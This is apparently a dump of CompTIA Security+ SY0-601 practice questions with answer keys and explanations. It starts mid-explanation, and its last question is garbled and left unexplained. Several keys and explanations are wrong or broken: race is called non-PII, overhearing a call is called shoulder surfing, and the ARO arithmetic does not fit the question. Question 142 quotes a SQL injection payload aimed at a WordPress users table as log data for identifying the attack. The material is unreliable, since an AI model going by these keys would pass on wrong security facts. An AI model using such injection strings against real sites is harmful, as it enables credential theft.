NIST CSF (National Institute of Standards and Technology Cybersecurity Framework) is a set of guidelines and best practices for managing cybersecurity risks. It is based on existing standards, guidelines, and practices that are widely recognized and applicable across different sectors and organizations. It provides a common language and framework for understanding, communicating, and managing cybersecurity risks. References: 1
CompTIA Security+ Certification Exam Objectives, page 7, Domain 1.0: Attacks, Threats, and
Vulnerabilities, Objective 1.4: Explain the techniques used in security assessments 2
CompTIA Security+ Certification Exam Objectives, page 8, Domain 2.0: Architecture and Design, Objective 2.1: Explain the importance of secure staging deployment concepts 3 https://www.nist.gov/cyberframework

NEW QUESTION 91
- (Exam Topic 2)
Which of the following procedures would be performed after the root cause of a security incident has been identified to help avoid future incidents from occurring?

A. Walk-throughs
B. Lessons learned
C. Attack framework alignment
D. Containment

Answer: B

Explanation:
After the root cause of a security incident has been identified, it is important to take the time to analyze what went wrong and how it could have been prevented. This process is known as “lessons learned” and allows organizations to identify potential improvements to their security processes and protocols. Lessons learned typically involve a review of the incident and the steps taken to address it, a review of the security systems and procedures in place, and an analysis of any potential changes that can be made to prevent similar incidents from occurring in the future.

NEW QUESTION 92
- (Exam Topic 2)
The findings in a consultant's report indicate the most critical risk to the security posture from an incident response perspective is a lack of workstation and server investigation capabilities. Which of the following should be implemented to remediate this risk?

A. HIDS
B. FDE
C. NGFW
D. EDR

Answer: D

Explanation:
EDR solutions are designed to detect and respond to malicious activity on workstations and servers, and they provide a detailed analysis of the incident, allowing organizations to quickly remediate the threat. According to the CompTIA Security+ SY0-601 Official Text Book, EDR solutions can be used to detect malicious activity on endpoints, investigate the incident, and contain the threat. EDR solutions can also provide real-time monitoring and alerting for potential security events, as well as detailed forensic analysis for security incidents. Additionally, the text book recommends that organizations also implement a host-based intrusion detection system (HIDS) to alert them to malicious activity on their workstations and servers.

NEW QUESTION 96
- (Exam Topic 2)
A security engineer updated an application on company workstations. The application was running before the update, but it is no longer launching successfully. Which of the following most likely needs to be updated?

A. Blocklist
B. Deny list
C. Quarantine list

D. Approved fist

Answer: D

Explanation:
Approved list is a list of applications or programs that are allowed to run on a system or network. An approved list can prevent unauthorized or malicious software from running and compromising the security of the system or network. An approved list can also help with patch management and compatibility issues. If the security engineer updated an application on the company workstations, the application may need to be added or updated on the approved list to be able to launch successfully. References: 1
CompTIA Security+ Certification Exam Objectives, page 10, Domain 2.0: Architecture and Design, Objective 2.4: Explain the importance of embedded and specialized systems security 2
CompTIA Security+ Certification Exam Objectives, page 12,
Domain 3.0: Implementation, Objective 3.1: Implement secure network architecture concepts 3
https://www.comptia.org/blog/what-is-application-whitelisting

NEW QUESTION 97
- (Exam Topic 2)
A company has hired an assessment team to test the security of the corporate network and employee vigilance. Only the Chief Executive Officer and Chief Operating Officer are aware of this exercise, and very little information has been provided to the assessors. Which of the following is taking place?

A. A red-team test
B. A white-team test
C. A purple-team test
D. A blue-team test

Answer: A

Explanation:
A red-team test is a type of security assessment that simulates a real-world attack on an organization’s network, systems, applications, and people. The goal of a red-team test is to evaluate the organization’s security posture, identify vulnerabilities and gaps, and test the effectiveness of its detection and response capabilities. A red-team test is usually performed by a group of highly skilled security professionals who act as adversaries and use various tools and techniques to breach the organization’s defenses. A red-team test is often conducted without the knowledge or consent of most of the organization’s staff, except for a few senior executives who authorize and oversee the exercise.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://cybersecurity.att.com/blogs/security-essentials/what-is-red-teaming

NEW QUESTION 99
- (Exam Topic 2)
A contractor overhears a customer recite their credit card number during a confidential phone call. The credit card Information is later used for a fraudulent transaction. Which of the following social engineering techniques describes this scenario?

A. Shoulder surfing
B. Watering hole
C. Vishing
D. Tailgating

Answer: A

Explanation:
Shoulder surfing is a social engineering technique that involves looking over someone’s shoulder to see what they are typing, writing, or viewing on their screen. It can be used to steal passwords, PINs, credit card numbers, or other sensitive information. In this scenario, the contractor used shoulder surfing to overhear the customer’s credit card number during a phone call.

NEW QUESTION 102
- (Exam Topic 2)
An organization recently released a software assurance policy that requires developers to run code scans each night on the repository. After the first night, the security team alerted the developers that more than 2,000 findings were reported and need to be addressed. Which of the following is the MOST likely cause for the high number of findings?

A. The vulnerability scanner was not properly configured and generated a high number of false positives
B. Third-party libraries have been loaded into the repository and should be removed from the codebase.
C. The vulnerability scanner found several memory leaks during runtime, causing duplicate reports for the same issue.
D. The vulnerability scanner was not loaded with the correct benchmarks and needs to be updated.

Answer: A

Explanation:
The most likely cause for the high number of findings is that the vulnerability scanner was not properly configured and generated a high number of false positives. False positive results occur when a vulnerability scanner incorrectly identifies a non-vulnerable system or application as being vulnerable. This can happen due to incorrect configuration, over-sensitive rule sets, or outdated scan databases.
https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/sy0-601-comptia-security-plus-course/

NEW QUESTION 104
- (Exam Topic 2)
A junior human resources administrator was gathering data about employees to submit to a new company awards program The employee data included job title business phone number location first initial with last name and race Which of the following best describes this type of information?

A. Sensitive
B. Non-Pll

C. Private
D. Confidential

Answer: B

Explanation:
Non-PII stands for non-personally identifiable information, which is any data that does not directly identify a specific individual. Non-PII can include information such as job title, business phone number, location, first initial with last name, and race. Non-PII can be used for various purposes, such as statistical analysis, marketing, or research. However, non-PII may still pose some privacy risks if it is combined or linked with other data that can reveal an individual's identity.
References: https://www.comptia.org/certifications/security#examdetails
https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://www.investopedia.com/terms/n/non-personally-identifiable-information-npii.asp

NEW QUESTION 105
- (Exam Topic 2)
A company recently implemented a patch management policy; however, vulnerability scanners have still been flagging several hosts, even after the completion of the patch process. Which of the following is the most likely cause of the issue?

A. The vendor firmware lacks support.
B. Zero-day vulnerabilities are being discovered.
C. Third-party applications are not being patched.
D. Code development is being outsourced.

Answer: C

Explanation:
Third-party applications are applications that are developed and provided by external vendors or sources, rather than by the organization itself. Third-party applications may introduce security risks if they are not properly vetted, configured, or updated. One of the most likely causes of vulnerability scanners flagging several hosts after the completion of the patch process is that third-party applications are not being patched. Patching is the process of applying updates or fixes to software to address bugs, vulnerabilities, or performance issues. Patching third-party applications is essential for maintaining their security and functionality, as well as preventing attackers from exploiting known flaws.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://www.csoonline.com/article/2124681/why-third-party-security-is-your-security.html

NEW QUESTION 109
- (Exam Topic 2)
Which of the following is the correct order of evidence from most to least volatile in forensic analysis?

A. Memory, disk, temporary filesystems, CPU cache
B. CPU cache, memory, disk, temporary filesystems
C. CPU cache, memory, temporary filesystems, disk
D. CPU cache, temporary filesystems, memory, disk

Answer: C

Explanation:
The correct order of evidence from most to least volatile in forensic analysis is based on how quickly the evidence can be lost or altered if not collected or preserved properly. CPU cache is the most volatile type of evidence because it is stored in a small amount of memory on the processor and can be overwritten or erased very quickly. Memory is the next most volatile type of evidence because it is stored in RAM and can be lost when the system is powered off or rebooted. Temporary filesystems are less volatile than memory because they are stored on disk, but they can still be deleted or overwritten by other processes or users. Disk is the least volatile type of evidence because it is stored on permanent storage devices and can be recovered even after deletion or formatting, unless overwritten by new data. References:
https://www.comptia.org/blog/what-is-volatility-in-digital-forensics

NEW QUESTION 114
- (Exam Topic 2)
A corporate security team needs to secure the wireless perimeter of its physical facilities to ensure only authorized users can access corporate resources. Which of the following should the security team do? (Refer the answer from CompTIA SY0-601 Security+ documents or guide at comptia.org)

A. Identify rogue access points.
B. Check for channel overlaps.
C. Create heat maps.
D. Implement domain hijacking.

Answer: A

Explanation:
Based on CompTIA SY0-601 Security+ guide, the answer to the question is A. Identify rogue access points. To secure the wireless perimeter of its physical facilities, the corporate security team should focus on
identifying rogue access points, which are unauthorized access points that have been set up by employees or outsiders to bypass security controls. By identifying and removing these rogue access points, the team can ensure that only authorized users can access corporate resources through the wireless network.
https://www.comptia.org/training/books/security-sy0-601-study-guide

NEW QUESTION 118
- (Exam Topic 2)
A security team suspects that the cause of recent power consumption overloads is the unauthorized use of empty power outlets in the network rack. Which of the following options will mitigate this issue without compromising the number of outlets available?

A. Adding a new UPS dedicated to the rack

B. Installing a managed PDU
C. Using only a dual power supplies unit
D. Increasing power generator capacity

Answer: B

Explanation:
Installing a managed PDU is the most appropriate option to mitigate the issue without compromising the number of outlets available. A managed Power Distribution Unit (PDU) helps monitor, manage, and control power consumption at the rack level. By installing a managed PDU, the security team will have greater visibility into power usage in the network rack, and they can identify and eliminate unauthorized devices that consume excessive power from empty outlets.
https://www.comptia.org/training/books/security-sy0-601-study-guide

NEW QUESTION 119
- (Exam Topic 2)
A security team is engaging a third-party vendor to do a penetration test of a new proprietary application prior to its release. Which of the following documents would the third-party vendor most likely be required to review and sign?

A. SLA
B. NDA
C. MOU
D. AUP

Answer: B

Explanation:
NDA stands for Non-Disclosure Agreement, which is a legal contract that binds the parties to keep confidential information secret and not to disclose it to unauthorized parties. A third-party vendor who is doing a penetration test of a new proprietary application would most likely be required to review and sign an NDA to protect the intellectual property and trade secrets of the security team.

NEW QUESTION 122
- (Exam Topic 2)
A security administrator performs weekly vulnerability scans on all cloud assets and provides a detailed report. Which of the following describes the administrator's activities?

A. Continuous deployment
B. Continuous integration
C. Continuous validation
D. Continuous monitoring

Answer: C

Explanation:
Continuous validation is a process that involves performing regular and automated tests to verify the security and functionality of a system or an application. Continuous validation can help identify and remediate vulnerabilities, bugs, or misconfigurations before they cause any damage or disruption. The security administrator’s activities of performing weekly vulnerability scans on all cloud assets and providing a detailed report are examples of continuous validation.

NEW QUESTION 126
- (Exam Topic 2)
A security administrator Installed a new web server. The administrator did this to Increase the capacity (or an application due to resource exhaustion on another server. Which o(the following algorithms should the administrator use to split the number of the connections on each server In half?

A. Weighted response
B. Round-robin
C. Least connection
D. Weighted least connection

Answer: B

Explanation:
The administrator should use a round-robin algorithm to split the number of connections on each server in half. Round-robin is a load-balancing algorithm that distributes incoming requests to the available servers one by one in a cyclical order. This helps to evenly distribute the load across all of the servers, ensuring that no single server is overloaded.

NEW QUESTION 131
- (Exam Topic 2)
A company was recently breached. Part of the company's new cybersecurity strategy is to centralize the logs from all security devices. Which of the following components forwards the logs to a central source?

A. Log enrichment
B. Log queue
C. Log parser
D. Log collector

Answer: D

Explanation:
A log collector can collect logs from various sources, such as servers, devices, applications, or network components, and forward them to a central source for analysis and storage23.

NEW QUESTION 133
- (Exam Topic 2)
A Chief Information Security Officer (CISO) is evaluating the dangers involved in deploying a new ERP system for the company. The CISO categorizes the system, selects the controls that apply to the system, implements the controls, and then assesses the success of the controls before authorizing the system. Which of the following is the CISO using to evaluate the environment for this new ERP system?

A. The Diamond Model of Intrusion Analysis
B. CIS Critical Security Controls
C. NIST Risk Management Framework
D. ISO 27002

Answer: C

Explanation:
The NIST Risk Management Framework (RMF) is a process for evaluating the security of a system and implementing controls to reduce potential risks associated with it. The RMF process involves categorizing the system, selecting the controls that apply to the system, implementing the controls, and then assessing the success of the controls before authorizing the system. For more information on the NIST Risk Management Framework and other security processes, refer to the CompTIA Security+ SY0-601 Official Text Book and Resources.

NEW QUESTION 137
- (Exam Topic 2)
An employee used a corporate mobile device during a vacation Multiple contacts were modified in the device vacation Which of the following method did attacker to insert the contacts without having 'Physical access to device?

A. Jamming
B. BluJacking
C. Disassoaatm
D. Evil twin

Answer: B

Explanation:
bluejacking is the sending of unsolicited messages over Bluetooth to Bluetooth-enabled devices such as mobile phones, PDAs or laptop computers. Bluejacking does not involve device hijacking, despite what the
name implies. In this context, a human might say that the best answer to the question is B. BluJacking, because it is a method that can insert contacts without having physical access to the device.

NEW QUESTION 138
- (Exam Topic 2)
A security analyst is investigating network issues between a workstation and a company server. The workstation and server occasionally experience service disruptions, and employees are forced to
reconnect to the server. In addition, some reports indicate sensitive information is being leaked from the server to the public.
The workstation IP address is 192.168.1.103, and the server IP address is 192.168.1.101. The analyst runs arp -a On a separate workstation and obtains the following results:

Internet address	Physical address	Type
192.168.1.101	27-4b-17-00-38-08	dynamic
192.168.1.102	8e-45-49-ac-67-b6	dynamic
192.168.1.103	27-4b-17-00-38-08	dynamic
192.168.1.105	1f-35-91-55-0f-39	dynamic
192.168.1.157	27-4b-17-00-38-08	dynamic
192.168.1.190	12-d6-cf-91-f6-3f	dynamic

Which of the following is most likely occurring?

A. Evil twin attack
B. Domain hijacking attack
C. On-path attack
D. MAC flooding attack

Answer: C

Explanation:
An on-path attack is a type of attack where an attacker places themselves between two devices (such as a
workstation and a server) and intercepts or modifies the communications between them. An on-path attacker can collect sensitive information, impersonate either device, or disrupt the service. In this scenario, the attacker is likely using an on-path attack to capture and alter the network traffic between the workstation and the server, causing service disruptions and data leakage.

NEW QUESTION 142
- (Exam Topic 2)
A security analyst reviews web server logs and notices the following line: 104.35. 45.53 [22/May/2020:07 : 00:58 +0100] "GET . UNION ALL SELECT user login, user _ pass, user email from wp users—— HTTP/I.I" 200 1072
http://www.example.com/wordpress/wp—admin/
Which of the following vulnerabilities is the attacker trying to exploit?

A. SSRF
B. CSRF

C. xss
D. SQLi

Answer: D

Explanation:
SQLi stands for SQL injection, which is a type of web security vulnerability that allows an attacker to execute malicious SQL statements on a database server. SQLi can result in data theft, data corruption, denial of service, or remote code execution.
The attacker in the web server log is trying to exploit a SQLi vulnerability by sending a malicious GET request that contains a UNION ALL SELECT statement. This statement is used to combine the results of two or more SELECT queries into a single result set. The attacker is attempting to retrieve user login, user pass, and user email from the wp users table, which is a WordPress database table that stores user information. The attacker may use this information to compromise the WordPress site or the users' accounts.

NEW QUESTION 143
- (Exam Topic 2)
A company recently enhanced mobile device configuration by implementing a set of security controls: biometrics, context-aware authentication, and full device encryption. Even with these settings in place, an unattended phone was used by a malicious actor to access corporate data.
Which of the following additional controls should be put in place first?

A. GPS tagging
B. Remote wipe
C. Screen lock timer
D. SEAndroid

Answer: C

Explanation:
According to NIST Special Publication 1800-4B1, some of the security controls that can be used to protect mobile devices include:

- Root and jailbreak detection: ensures that the security architecture for a mobile device has not been compromised.
- Encryption: protects the data stored on the device and in transit from unauthorized access.
- Authentication: verifies the identity of the user and the device before granting access to enterprise resources.
- Remote wipe: allows the organization to erase the data on the device in case of loss or theft.
- Screen lock timer: sets a time limit for the device to lock itself after a period of inactivity.

NEW QUESTION 147
- (Exam Topic 2)
A major manufacturing company updated its internal infrastructure and just started to allow OAuth application to access corporate data Data leakage is being reported Which of following most likely caused the issue?

A. Privilege creep
B. Unmodified default
C. TLS
D. Improper patch management

Answer: A

Explanation:
Privilege creep is the gradual accumulation of access rights beyond what an individual needs to do his or her job. In information technology, a privilege is an identified right that a particular end user has to a particular system resource, such as a file folder or virtual machine. Privilege creep often occurs when an employee changes job responsibilities within an organization and is granted new privileges. While employees may need to retain their former privileges during a period of transition, those privileges are rarely revoked and result in an unnecessary accumulation of access privileges. Privilege creep creates a security risk by increasing the attack surface and exposing sensitive data or systems to unauthorized or malicious users.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://www.techtarget.com/searchsecurity/definition/privilege-creep

NEW QUESTION 151
- (Exam Topic 2)
An organization's Chief Information Security Officer is creating a position that will be responsible for implementing technical controls to protect data, including ensuring backups are properly maintained Which of the following roles would MOST likely include these responsibilities?

A. Data protection officer
B. Data owner
C. Backup administrator
D. Data custodian
E. Internal auditor

Answer: C

Explanation:
The role that would most likely include the responsibilities of implementing technical controls to protect data and ensuring backups are properly maintained would be a Backup Administrator. A Backup Administrator is responsible for maintaining and managing an organization's backup systems and procedures, which includes ensuring that backups are properly configured, tested and securely stored. They are also responsible for the recovery of data in case of a disaster or data loss.

NEW QUESTION 153
- (Exam Topic 2)
Which of the following is a solution that can be used to stop a disgruntled employee from copying confidential data to a USB drive?

A. DLP
B. TLS
C. AV
D. IDS

Answer: A

Explanation:
DLP stands for data loss prevention, which is a set of tools and processes that aim to prevent unauthorized access, use, or transfer of sensitive data. DLP can help mitigate the risk of data exfiltration by disgruntled employees or external attackers by monitoring and controlling data flows across endpoints, networks, and cloud services. DLP can also detect and block attempts to copy, transfer, or upload sensitive data to a USB drive or other removable media based on predefined policies and rules.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://www.microsoft.com/en-us/security/business/security-101/what-is-data-loss-prevention-dlp

NEW QUESTION 156
- (Exam Topic 2)
Which of the following processes would most likely help an organization that has conducted an incident response exercise to improve performance and identify challenges?

A. Lessons learned
B. Identification
C. Simulation
D. Containment

Answer: A

Explanation:
Lessons learned is a process that would most likely help an organization that has conducted an incident response exercise to improve performance and identify challenges. Lessons learned is a process that involves reviewing and evaluating the incident response exercise to identify what went well, what went wrong, and what can be improved. Lessons learned can help an organization enhance its incident response capabilities, address any gaps or weaknesses, and update its incident response plan accordingly.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://www.sans.org/reading-room/whitepapers/incident/incident-handlers-handbook-33901

NEW QUESTION 159
- (Exam Topic 2)
An organization needs to implement more stringent controls over administrator/root credentials and service accounts. Requirements for the project include:
* Check-in/checkout of credentials
* The ability to use but not know the password
* Automated password changes
* Logging of access to credentials
Which of the following solutions would meet the requirements?

A. OAuth 2.0
B. Secure Enclave
C. A privileged access management system
D. An OpenID Connect authentication system

Answer: C

Explanation:
A privileged access management (PAM) system is a solution that helps protect organizations against cyberthreats by monitoring, detecting, and preventing unauthorized privileged access to critical resources12. A PAM system can meet the requirements of the project by providing features such as:

- Check-in/checkout of credentials: A PAM system can store and manage privileged credentials in a secure vault, and allow authorized users to check out credentials when needed and check them back in when done. This reduces the risk of credential theft, misuse, or sharin2g3.
- The ability to use but not know the password: A PAM system can enable users to access privileged accounts or resources without revealing the actual password, using methods such as password injection, session proxy, or single sign-on23. This prevents users from copying, changing, or sharing password2s.
- Automated password changes: A PAM system can automatically rotate and update passwords for privileged accounts according to predefined policies, such as frequency, complexity, and uniqueness23
. This ensures that passwords are always strong and unpredictable, and reduces the risk of password
reuse or compromise2.
- Logging of access to credentials: A PAM system can record and audit all activities related to privileged access, such as who accessed what credentials, when, why, and what they did with them23. This provides visibility and accountability for privileged access, and enables detection and investigation of anomalies or incidents2.

A PAM system is different from OAuth 2.0, which is an authorization framework that enables third-party applications to obtain limited access to an HTTP service on behalf of a resource owner4. OAuth 2.0 does not provide the same level of control and security over privileged access as a PAM system does.
A PAM system is also different from a secure enclave, which is a hardware-based security feature that creates an isolated execution environment within a processor to protect sensitive data from unauthorized access or modification5. A secure enclave does not provide the same functionality as a PAM system for managing privileged credentials and access.
A PAM system is also different from an OpenID Connect authentication system, which is an identity layer on top of OAuth 2.0 that enables users to verify their identity across multiple websites using a single login6. OpenID Connect does not provide the same scope and granularity as a PAM system for controlling and monitoring privileged access.

NEW QUESTION 160
- (Exam Topic 2)
A security administrator suspects there may be unnecessary services running on a server. Which of the following tools will the administrator most likely use to confirm the suspicions?

A. Nmap
B. Wireshark
C. Autopsy
D. DNSEnum

Answer: A

Explanation:
Nmap is a tool that is used to scan IP addresses and ports in a network and to detect installed applications. Nmap can help a security administrator determine the services running on a server by sending various packets to the target and analyzing the responses. Nmap can also perform various tasks such as OS detection, version detection, script scanning, firewall evasion, and vulnerability scanning.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://nmap.org/

NEW QUESTION 165
- (Exam Topic 2)
A security team will be outsourcing several key functions to a third party and will require that:
• Several of the functions will carry an audit burden.
• Attestations will be performed several times a year.
• Reports will be generated on a monthly basis.
Which of the following BEST describes the document that is used to define these requirements and stipulate how and when they are performed by the third party?

A. MOU
B. AUP
C. SLA
D. MSA

Answer: C

Explanation:
A service level agreement (SLA) is a contract between a service provider and a customer that outlines the services that are to be provided and the expected levels of performance. It is used to define the requirements for the service, including any attestations and reports that must be generated, and the timescales in which these must be completed. It also outlines any penalties for failing to meet these requirements. SLAs are essential for ensuring that third-party services are meeting the agreed upon performance levels.
Reference: CompTIA Security+ Study Guide: SY0-601 by Emmett Dulaney, Chuck Easttom https://www.wiley.com/en-us/CompTIA+Security%2B+Study+Guide%3A+SY0-601-p-9781119515968
CompTIA Security+ Get Certified Get Ahead: SY0-601 Study Guide by Darril Gibson https://www.amazon.com/CompTIA-Security-Certified-Ahead-SY0-601/dp/1260117558
Note: SLA is the best document that is used to define these requirements and stipulate how and when they are performed by the third party.

NEW QUESTION 170
- (Exam Topic 2)
A company is developing a new initiative to reduce insider threats. Which of the following should the company focus on to make the greatest impact?

A. Social media analysis
B. Least privilege
C. Nondisclosure agreements
D. Mandatory vacation

Answer: B

Explanation:
Least privilege is a security principle that states that users and processes should only have the minimum level of access and permissions required to perform their tasks. This reduces the risk of insider threats by limiting the potential damage that a malicious or compromised user or process can cause to the system or data.
References: https://www.comptia.org/blog/what-is-least-privilege

NEW QUESTION 175
- (Exam Topic 2)
Stakeholders at an organisation must be kept aware of any incidents and receive updates on status changes as they occur Which of the following Plans would fulfill this requirement?

A. Communication plan
B. Disaster recovery plan
C. Business continuity plan
D. Risk plan

Answer: A

Explanation:
A communication plan is a plan that would fulfill the requirement of keeping stakeholders at an organization aware of any incidents and receiving updates on status changes as they occur. A communication plan is a document that outlines the communication objectives, strategies, methods, channels, frequency, and audience for an incident response process. A communication plan can help an organization communicate effectively and efficiently with internal and external stakeholders during an incident and keep them informed of the incident’s impact, progress, resolution, and recovery.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://www.ready.gov/business-continuity-plan

NEW QUESTION 177
- (Exam Topic 2)
A network administrator needs to determine Ihe sequence of a server farm's logs. Which of the following should the administrator consider? (Select TWO).

A. Chain of custody
B. Tags
C. Reports
D. Time stamps
E. Hash values
F. Time offset

Answer: DF

Explanation:
A server farm's logs are records of events that occur on a group of servers that provide the same service or function. Logs can contain information such as date, time, source, destination, message, error code, and severity level. Logs can help administrators monitor the performance, security, and availability of the servers and troubleshoot any issues.
To determine the sequence of a server farm's logs, the administrator should consider the following factors:

- Time stamps: Time stamps are indicators of when an event occurred on a server. Time stamps can help administrators sort and correlate events across different servers based on chronological order. However, time stamps alone may not be sufficient to determine the sequence of events if the servers have different time zones or clock settings.
- Time offset: Time offset is the difference between the local time of a server and a reference time, such as Coordinated Universal Time (UTC) or Greenwich Mean Time (GMT). Time offset can help administrators adjust and synchronize the time stamps of different servers to a common reference time and eliminate any discrepancies caused by time zones or clock settings.

References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://docs.microsoft.com/en-us/windows-server/administration/server-manager/view-event-logs

NEW QUESTION 178
- (Exam Topic 2)
Which of the following Is the BEST reason to maintain a functional and effective asset management policy that aids in ensuring the security of an organization?

A. To provide data to quantify risk based on the organization's systems
B. To keep all software and hardware fully patched for known vulnerabilities
C. To only allow approved, organization-owned devices onto the business network
D. To standardize by selecting one laptop model for all users in the organization

Answer: A

Explanation:
An effective asset management policy helps an organization understand and manage the systems, hardware, and software it uses, and how they are used, including their vulnerabilities and risks. This information is crucial for accurately identifying and assessing risks to the organization, and making informed decisions about how to mitigate those risks. This is the best reason to maintain an effective asset management policy. Reference: CompTIA Security+ Study Guide (SY0-601) 7th Edition by Emmett Dulaney, Chuck Easttom

NEW QUESTION 179
- (Exam Topic 2)
Security analysts have noticed the network becomes flooded with malicious packets at specific times of the day. Which of the following should the analysts use to investigate this issue?

A. Web metadata
B. Bandwidth monitors
C. System files
D. Correlation dashboards

Answer: D

Explanation:
Correlation dashboards are tools that allow security analysts to monitor and analyze multiple sources of data and events in real time. They can help identify patterns, trends, anomalies, and threats by correlating different types of data and events, such as network traffic, logs, alerts, and incidents. Correlation dashboards can help investigate network flooding by showing the source, destination, volume, and type of malicious packets and their impact on the network performance and availability. References: https://www.comptia.org/blog/what-is-a-correlation-dashboard

NEW QUESTION 180
- (Exam Topic 2)
A user is trying to upload a tax document, which the corporate finance department requested, but a security program IS prohibiting the upload A security analyst determines the file contains Pll, Which of
the following steps can the analyst take to correct this issue?

A. Create a URL filter with an exception for the destination website.
B. Add a firewall rule to the outbound proxy to allow file uploads
C. Issue a new device certificate to the user's workstation.
D. Modify the exception list on the DLP to allow the upload

Answer: D

Explanation:
Data Loss Prevention (DLP) policies are used to identify and protect sensitive data, and often include a list of exceptions that allow certain types of data to be uploaded or shared. By modifying the exception list on the DLP, the security analyst can allow the tax document to be uploaded without compromising the security of the system. (Reference: CompTIA Security+ SY0-601 Official Textbook, page 479-480)

NEW QUESTION 184
- (Exam Topic 2)

A network-connected magnetic resonance imaging (MRI) scanner at a hospital is controlled and operated by an outdated and unsupported specialized Windows OS. Which of the following
is most likely preventing the IT manager at the hospital from upgrading the specialized OS?

A. The time needed for the MRI vendor to upgrade the system would negatively impact patients.
B. The MRI vendor does not support newer versions of the OS.
C. Changing the OS breaches a support SLA with the MRI vendor.
D. The IT team does not have the budget required to upgrade the MRI scanner.

Answer: B

Explanation:
This option is the most likely reason for preventing the IT manager at the hospital from upgrading the specialized OS. The MRI scanner is a complex and sensitive device that requires a specific OS to control and operate it. The MRI vendor may not have developed or tested newer versions of the OS for compatibility and functionality with the scanner. Upgrading the OS without the vendor's support may cause the scanner to malfunction or stop working altogether.

NEW QUESTION 186
- (Exam Topic 2)
An IT manager is estimating the mobile device budget for the upcoming year. Over the last five years, the number of devices that were replaced due to loss, damage, or theft steadily increased by 10%. Which of the following would best describe the estimated number of devices to be replaced next year?

A. SLA
B. ARO
C. RPO
D. SLE

Answer: B

Explanation:
ARO stands for annualized rate of occurrence, which is a metric that estimates how often a threat event will occur within a year. ARO can help an IT manager estimate the mobile device budget for the upcoming year by multiplying the number of devices replaced in the previous year by the percentage increase of replacement over the last five years. For example, if 100 devices were replaced in the previous year and the replacement rate increased by 10% each year for the last five years, then the estimated number of devices to be replaced next year is 100 x (1 + 0.1)^5 = 161.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://www.techopedia.com/definition/24866/annualized-rate-of-occurrence-aro

NEW QUESTION 190
- (Exam Topic 2)
A company policy requires third-party suppliers to self-report data breaches within a specific time frame. Which of the following third-party risk management policies is the company complying with?

A. MOU
B. SLA
C. EOL
D. NDA

Answer: B

Explanation:
An SLA or service level agreement is a type of third-party risk management policy that defines the expectations and obligations between a service provider and a customer. An SLA typically includes metrics and standards for measuring the quality and performance of the service, as well as penalties or remedies for non-compliance. An SLA can also specify the reporting requirements for data breaches or other incidents that may affect the customer's security or privacy.

NEW QUESTION 194
- (Exam Topic 2)
A security analyst received the following requirements for the deployment of a security camera solution:
* The cameras must be viewable by the on-site security guards.
* The cameras must be able to communicate with the video storage server.
* The cameras must have the time synchronized automatically.
* The cameras must not be reachable directly via the internet.
* The servers for the cameras and video storage must be available for remote maintenance via the company VPN.
Which of the following should the security analyst recommend to securely meet the remote connectivity requirements?

A. Creating firewall rules that prevent outgoing traffic from the subnet the servers and cameras reside on
B. Deploying a jump server that is accessible via the internal network that can communicate with the servers
C. Disabling all unused ports on the switch that the cameras are plugged into and enabling MAC filtering
D. Implementing a WAF to allow traffic from the local NTP server to the camera server

Answer: B

Explanation:
A jump server is a system that is used to manage and access systems in a separate security zone. It acts as a bridge between two different security zones and provides a controlled and secure way of accessing systems between them12. A jump server can also be used for auditing traffic and user activity for real-time surveillance 3. By deploying a jump server that is accessible via the internal network, the security analyst can securely meet the remote connectivity requirements for the servers and cameras without exposing them directly to the internet or allowing outgoing traffic from their subnet. The other options are not suitable because:
- A. Creating firewall rules that prevent outgoing traffic from the subnet the servers and cameras reside on would not allow remote maintenance via the company VPN.
- C. Disabling all unused ports on the switch that the cameras are plugged into and enabling MAC filtering would not prevent direct internet access to the cameras or servers.

D. Implementing a WAF to allow traffic from the local NTP server to the camera server would not address the remote connectivity requirements or protect the servers from internet access.
References:
1: https://www.thesecuritybuddy.com/network-security/what-is-a-jump-server/ 3:
https://www.ssh.com/academy/iam/jump-server 2: https://en.wikipedia.org/wiki/Jump_server

NEW QUESTION 195
- (Exam Topic 2)
A Chief Information Security Officer (CISO) wants to implement a new solution that can protect against certain categories of websites, whether the employee is in the offer or away. Which of the following solutions should the CISO implement?

A. VAF
B. SWG
C. VPN
D. WDS

Answer: B

Explanation:
A secure web gateway (SWG) is a solution that can filter and block malicious or inappropriate web traffic based on predefined policies. It can protect users from web-based threats, such as malware, phishing, or
ransomware, whether they are in the office or away. An SWG can be deployed as a hardware appliance, a software application, or a cloud service. References:
https://www.comptia.org/content/guides/what-is-a-secure-web-gateway

NEW QUESTION 198
- (Exam Topic 2)
A penetration tester was able to compromise a host using previously captured network traffic. Which of the following is the result of this action?

A. Integer overflow
B. Race condition
C. Memory leak
D. Replay attack

Answer: D

Explanation:
A replay attack is a form of network attack in which valid data transmission is maliciously or fraudulently repeated or delayed12. This can allow an attacker to compromise a host by resending a previously captured message, such as a password or a session token, that looks legitimate to the receiver1. A replay attack can be prevented by using methods such as random session keys, timestamps, or one-time passwords that expire after use12. A replay attack is different from an integer overflow, which is a type of software vulnerability that occurs when an arithmetic operation attempts to create a numeric value that is too large to be represented within the available storage space3. A race condition is another type of software vulnerability that occurs when multiple processes access and manipulate the same data concurrently, and the outcome depends on the order of execution3. A memory leak is a type of software defect that occurs when a program fails to release memory that is no longer needed, causing the program to consume more memory than necessary and potentially affecting the performance or stability of the system3.

NEW QUESTION 199
- (Exam Topic 2)
Which of the following security design features can an development team to analyze the deletion eoting Of data sets the copy?

A. Stored procedures
B. Code reuse
C. Version control
D. Continunus

Answer: C

Explanation:
